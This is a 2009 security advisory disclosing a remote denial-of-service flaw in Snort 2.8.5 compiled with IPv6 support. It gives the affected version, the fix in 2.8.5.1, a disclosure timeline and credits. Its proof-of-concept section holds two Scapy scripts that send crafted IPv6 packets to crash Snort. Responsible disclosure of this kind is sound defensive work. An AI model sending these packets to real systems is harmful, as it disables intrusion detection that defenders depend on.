Snort 2.8.5 - IPv6 Denial of Service

=============================================
- Date: October 22th, 2009
- Discovered by: Laurent Gaffi�
- Severity: Low
=============================================

I. VULNERABILITY
-------------------------
Snort <= 2.8.5 IPV6 Remote DoS


II. DESCRIPTION
-------------------------
A remote DoS was present in Snort 2.8.5 when parsing some specialy IPv6
crafted packet
To trigger theses bugs you need to have compiled snort with the
--enable-ipv6 option, and run it in verbose mode (-v)

III. PROOF OF CONCEPT
-------------------------
You can reproduce theses two differents bugs easily by using the Python
low-level networking lib Scapy
(http://www.secdev.org/projects/scapy/files/scapy-latest.zip)

1) #only works on x86

#/usr/bin/env python
from scapy.all import *
u = "\x92"+"\x02" * 6
send(IPv6(dst="IPv6_addr_here", nh=6)/u) #nh6 -> TCP

2) # works x86,x64

#/usr/bin/env python
from scapy.all import *

z = "Q" * 30
send(IPv6(dst="IPv6_ADDR_HERE",nh=1)/ICMPv6NIQueryNOOP(type=4)/z) #nh1 ->
icmp (not v6)


IV. SYSTEMS AFFECTED
-------------------------
Theses proof of concept as been tested on snort:
- 2.8.5

V. NOT AFFECTED
-------------------------
Sourcefire 3D Sensor


VI. SOLUTION
-------------------------
A new version correcting theses issues as been released (2.8.5.1) :

http://www.snort.org/downloads


VII. REFERENCES
-------------------------
http://www.snort.org/
http://vrt-sourcefire.blogspot.com/

VIII. REVISION HISTORY
-------------------------
October 14th, 2009: First issue discovered, advisory send to snort team.
October 14th, 2009: Snort security team confirm the bug.
October 16th, 2009: Second issue discovered, advisory send to snort team.
October 20th, 2009: Snort security team confirm the bug.
October 22th, 2009: Snort team released a new version.


IX. CREDITS
-------------------------
This vulnerability has been discovered by Laurent Gaffi&#65533;
Laurent.gaffie{remove-this}(at)gmail.com